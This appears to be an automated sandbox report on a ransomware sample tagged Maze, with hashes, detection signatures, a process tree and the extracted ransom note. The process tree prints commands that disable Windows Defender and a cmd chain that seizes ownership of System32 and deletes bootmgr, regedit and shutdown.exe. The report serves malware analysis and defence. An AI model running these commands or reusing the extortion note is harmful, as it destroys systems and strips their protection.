maze | ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1

Analysis

max time kernel
139s
max time network
52s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
20-09-2022 05:03

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General

Target

UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe
Size

4.4MB
MD5

a83040b851cf14288d3262d2bd4460fc
SHA1

bac8269c66d5b0ca2c5487eb3366c910c99a67e1
SHA256

ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1
SHA512

89848ac37b274bcdf55cbba3b0dd46013de75563a95ed197d42269a2c1c3c2f62c935f24e8db2a912d5cbfd808575dff12d9141eaea3b103cc4bb7707b1cda8e
SSDEEP

98304:6MNbfTJlGuc3B57vYT8A7X27aKc736CtbL8RdwZkid1W5:nN7tvcjUT8A7X219uKdw2B

Score

10^/10

maze discovery evasion exploit ransomware themida trojan

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\DECRYPT-FILES.TXT

Ransom Note

Ooops! All your important files are encrypted! [+] What happend to my computer? [+] All your important files are encrypted. No one can help you to restore files without our special decryptor. Backups were either encrypted or deleted. Shadow copies also removed. If you want to restore some of your files for free write to email (contact is below) and attach 2-3 encrypted files. You will receive decrypted samples. To decrypt other files you have to pay $250. [+] How do i pay? [+] Payment is accepted in Bitcoin only. Please check the current price of Bitcoin and buy some Bitcoins. And send the correct amount to the address specified at the bottom. [+] How can i contact? [+] 1.Download Tor browser (https://www.torproject.org/) 2.Create account on mail2tor (http://mail2tor2zyjdctd.onion/) 3.Write email to us ([email protected]) If you can't use tor in your country you can write to us on our temporary email address. [+] What if i already paid? [+] Send your Bitcoin wallet ID to e-mail provided above. Attention! 1.Do not modify encrypted files. 2.Do not try decrypt your data using third party software. 3.Do not turn off your computer. Our bitcoin address: bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe Our temporary e-mail address: [email protected]

Emails

[email protected]

URLs

http://mail2tor2zyjdctd.onion/

Signatures

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral1/memory/1992-54-0x0000000000EA0000-0x0000000001316000-memory.dmp	disable_win_def

Maze
Ransomware family also known as ChaCha.
trojan ransomware maze

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	VSSVC.exe

Disables Task Manager via registry modification
evasion

Executes dropped EXE 1 IoCs

pid	Process
832	VSSVC.exe

Modifies extensions of user files 2 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\DisconnectSkip.crw => C:\Users\Admin\Pictures\DisconnectSkip.crw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe
File renamed	C:\Users\Admin\Pictures\ResolveUnblock.crw => C:\Users\Admin\Pictures\ResolveUnblock.crw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe	VSSVC.exe

Possible privilege escalation attempt 5 IoCs

exploit

pid	Process
108	takeown.exe
540	icacls.exe
1772	takeown.exe
1408	icacls.exe
1796	takeown.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	VSSVC.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	VSSVC.exe

Modifies file permissions 1 TTPs 5 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1796	takeown.exe
108	takeown.exe
540	icacls.exe
1772	takeown.exe
1408	icacls.exe

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/files/0x0009000000012677-69.dat	themida
behavioral1/memory/832-86-0x0000000000280000-0x0000000000AF4000-memory.dmp	themida
behavioral1/memory/832-87-0x0000000000280000-0x0000000000AF4000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	VSSVC.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
832	VSSVC.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1476	powershell.exe
1712	powershell.exe
1312	powershell.exe
1492	powershell.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	1992	UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe
Token: SeDebugPrivilege	1992	UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe
Token: SeDebugPrivilege	1476	powershell.exe
Token: SeDebugPrivilege	1712	powershell.exe
Token: SeDebugPrivilege	1312	powershell.exe
Token: SeDebugPrivilege	1492	powershell.exe
Token: SeDebugPrivilege	832	VSSVC.exe
Token: SeDebugPrivilege	832	VSSVC.exe
Token: SeTakeOwnershipPrivilege	108	takeown.exe
Token: SeTakeOwnershipPrivilege	1772	takeown.exe
Token: SeTakeOwnershipPrivilege	1796	takeown.exe

Suspicious use of WriteProcessMemory 40 IoCs

description	pid	Process	procid_target
PID 1992 wrote to memory of 1492	1992	UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe	28
PID 1992 wrote to memory of 1492	1992	UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe	28
PID 1992 wrote to memory of 1492	1992	UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe	28
PID 1992 wrote to memory of 1712	1992	UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe	29
PID 1992 wrote to memory of 1712	1992	UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe	29
PID 1992 wrote to memory of 1712	1992	UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe	29
PID 1992 wrote to memory of 1312	1992	UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe	30
PID 1992 wrote to memory of 1312	1992	UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe	30
PID 1992 wrote to memory of 1312	1992	UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe	30
PID 1992 wrote to memory of 1476	1992	UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe	33
PID 1992 wrote to memory of 1476	1992	UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe	33
PID 1992 wrote to memory of 1476	1992	UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe	33
PID 1992 wrote to memory of 832	1992	UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe	36
PID 1992 wrote to memory of 832	1992	UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe	36
PID 1992 wrote to memory of 832	1992	UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe	36
PID 1992 wrote to memory of 832	1992	UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe	36
PID 832 wrote to memory of 772	832	VSSVC.exe	38
PID 832 wrote to memory of 772	832	VSSVC.exe	38
PID 832 wrote to memory of 772	832	VSSVC.exe	38
PID 832 wrote to memory of 772	832	VSSVC.exe	38
PID 772 wrote to memory of 108	772	cmd.exe	40
PID 772 wrote to memory of 108	772	cmd.exe	40
PID 772 wrote to memory of 108	772	cmd.exe	40
PID 772 wrote to memory of 108	772	cmd.exe	40
PID 772 wrote to memory of 540	772	cmd.exe	41
PID 772 wrote to memory of 540	772	cmd.exe	41
PID 772 wrote to memory of 540	772	cmd.exe	41
PID 772 wrote to memory of 540	772	cmd.exe	41
PID 772 wrote to memory of 1772	772	cmd.exe	42
PID 772 wrote to memory of 1772	772	cmd.exe	42
PID 772 wrote to memory of 1772	772	cmd.exe	42
PID 772 wrote to memory of 1772	772	cmd.exe	42
PID 772 wrote to memory of 1408	772	cmd.exe	43
PID 772 wrote to memory of 1408	772	cmd.exe	43
PID 772 wrote to memory of 1408	772	cmd.exe	43
PID 772 wrote to memory of 1408	772	cmd.exe	43
PID 772 wrote to memory of 1796	772	cmd.exe	44
PID 772 wrote to memory of 1796	772	cmd.exe	44
PID 772 wrote to memory of 1796	772	cmd.exe	44
PID 772 wrote to memory of 1796	772	cmd.exe	44

C:\Users\Admin\AppData\Local\Temp\UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe
"C:\Users\Admin\AppData\Local\Temp\UDS-Trojan.Multi.GenericML.xnet-ef95c0b829c2aad4eca365fb9b37719b51f5d8ab518a2ccac920ef65852982d1.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent NeverSend
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting Disable
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1476
- C:\Users\Admin\AppData\Local\Temp\VSSVC.exe
  "C:\Users\Admin\AppData\Local\Temp\VSSVC.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Executes dropped EXE
  - Modifies extensions of user files
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:832
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant %username%:F && takeown /f C:\Windows\System32\drivers && icacls C:\Windows\System32\drivers /grant %username%:F && takeown /f C:\Windows\System32\LogonUI.exe && icacls C:\Windows\System32\LogonUI.exe /grant %username%:F && takeown /f C:\bootmgr && icacls C:\bootmgr /grant %username%:F && attrib -s -r -h C:\bootmgr && del C:\bootmgr && takeown /f C:\Windows\regedit.exe && icacls C:\Windows\regedit.exe /grant %username%:F && del C:\Windows\regedit.exe && takeown /f C:\Windows\System32\shutdown.exe && icacls C:\Windows\System32\shutdown.exe /grant %username%:F && del C:\Windows\System32\shutdown.exe && Exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:772
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:108
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32 /grant Admin:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:540
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\drivers
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:1772
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\drivers /grant Admin:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1408
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\LogonUI.exe
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:1796

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\VSSVC.exe

Filesize
3.1MB

MD5
e4f24d91d8e7290ffd6afc8aa01c6d63

SHA1
b552c6af33cc5a62379028687924406cba8ff74d

SHA256
5eb371a9cf91b981502d3ee26880b8c15f62b3eeaaa2484d523a2a03a233bebb

SHA512
ae0d0c2494b0a4753039f4fdf6a589848a44a386b759511aab9374e9446f84c39895ec2c9d00ed0ce3df07663a9f14e2f21f42a85966336b0e35204da0d82e00

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
fb8901bfb5eb8b5cd51c393f6e11ea2e

SHA1
659d7e2e79485eb006372ff061fdffe0961f5e43

SHA256
bfc1cb93abb78c50cf8a280d440551adbfba9ca138be5aa472cbdab95f05f209

SHA512
82e6d79b836fae138c00c47242318b4a8b3c981bc71c431c1bd4062b08287a7a1f7a6667becb58b9ca5525f999efb20e15655f585982748536fb09f5df8c8e49

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
fb8901bfb5eb8b5cd51c393f6e11ea2e

SHA1
659d7e2e79485eb006372ff061fdffe0961f5e43

SHA256
bfc1cb93abb78c50cf8a280d440551adbfba9ca138be5aa472cbdab95f05f209

SHA512
82e6d79b836fae138c00c47242318b4a8b3c981bc71c431c1bd4062b08287a7a1f7a6667becb58b9ca5525f999efb20e15655f585982748536fb09f5df8c8e49

Download Submit
memory/832-70-0x0000000000280000-0x0000000000AF4000-memory.dmp

Filesize
8.5MB

Download
memory/832-76-0x00000000770A0000-0x0000000077220000-memory.dmp

Filesize
1.5MB

Download
memory/832-87-0x0000000000280000-0x0000000000AF4000-memory.dmp

Filesize
8.5MB

Download
memory/832-86-0x0000000000280000-0x0000000000AF4000-memory.dmp

Filesize
8.5MB

Download
memory/832-71-0x0000000075281000-0x0000000075283000-memory.dmp

Filesize
8KB

Download
memory/832-72-0x0000000000280000-0x0000000000AF4000-memory.dmp

Filesize
8.5MB

Download
memory/1312-99-0x000000000253B000-0x000000000255A000-memory.dmp

Filesize
124KB

Download
memory/1312-98-0x0000000002534000-0x0000000002537000-memory.dmp

Filesize
12KB

Download
memory/1312-73-0x000007FEEC170000-0x000007FEECB93000-memory.dmp

Filesize
10.1MB

Download
memory/1312-92-0x000000000253B000-0x000000000255A000-memory.dmp

Filesize
124KB

Download
memory/1312-91-0x000000001B950000-0x000000001BC4F000-memory.dmp

Filesize
3.0MB

Download
memory/1312-81-0x000007FEEB610000-0x000007FEEC16D000-memory.dmp

Filesize
11.4MB

Download
memory/1312-85-0x0000000002534000-0x0000000002537000-memory.dmp

Filesize
12KB

Download
memory/1476-96-0x0000000002864000-0x0000000002867000-memory.dmp

Filesize
12KB

Download
memory/1476-97-0x000000000286B000-0x000000000288A000-memory.dmp

Filesize
124KB

Download
memory/1476-77-0x000007FEEC170000-0x000007FEECB93000-memory.dmp

Filesize
10.1MB

Download
memory/1476-94-0x000000000286B000-0x000000000288A000-memory.dmp

Filesize
124KB

Download
memory/1476-78-0x000007FEEB610000-0x000007FEEC16D000-memory.dmp

Filesize
11.4MB

Download
memory/1476-89-0x000000001B860000-0x000000001BB5F000-memory.dmp

Filesize
3.0MB

Download
memory/1476-82-0x0000000002864000-0x0000000002867000-memory.dmp

Filesize
12KB

Download
memory/1492-102-0x00000000024B4000-0x00000000024B7000-memory.dmp

Filesize
12KB

Download
memory/1492-88-0x000000001B740000-0x000000001BA3F000-memory.dmp

Filesize
3.0MB

Download
memory/1492-66-0x000007FEEC170000-0x000007FEECB93000-memory.dmp

Filesize
10.1MB

Download
memory/1492-93-0x00000000024BB000-0x00000000024DA000-memory.dmp

Filesize
124KB

Download
memory/1492-79-0x000007FEEB610000-0x000007FEEC16D000-memory.dmp

Filesize
11.4MB

Download
memory/1492-83-0x00000000024B4000-0x00000000024B7000-memory.dmp

Filesize
12KB

Download
memory/1492-103-0x00000000024BB000-0x00000000024DA000-memory.dmp

Filesize
124KB

Download
memory/1712-101-0x000000000268B000-0x00000000026AA000-memory.dmp

Filesize
124KB

Download
memory/1712-100-0x0000000002684000-0x0000000002687000-memory.dmp

Filesize
12KB

Download
memory/1712-90-0x000000001B840000-0x000000001BB3F000-memory.dmp

Filesize
3.0MB

Download
memory/1712-64-0x000007FEEC170000-0x000007FEECB93000-memory.dmp

Filesize
10.1MB

Download
memory/1712-80-0x000007FEEB610000-0x000007FEEC16D000-memory.dmp

Filesize
11.4MB

Download
memory/1712-95-0x000000000268B000-0x00000000026AA000-memory.dmp

Filesize
124KB

Download
memory/1712-84-0x0000000002684000-0x0000000002687000-memory.dmp

Filesize
12KB

Download
memory/1992-54-0x0000000000EA0000-0x0000000001316000-memory.dmp

Filesize
4.5MB

Download
memory/1992-55-0x000007FEFB741000-0x000007FEFB743000-memory.dmp

Filesize
8KB

Download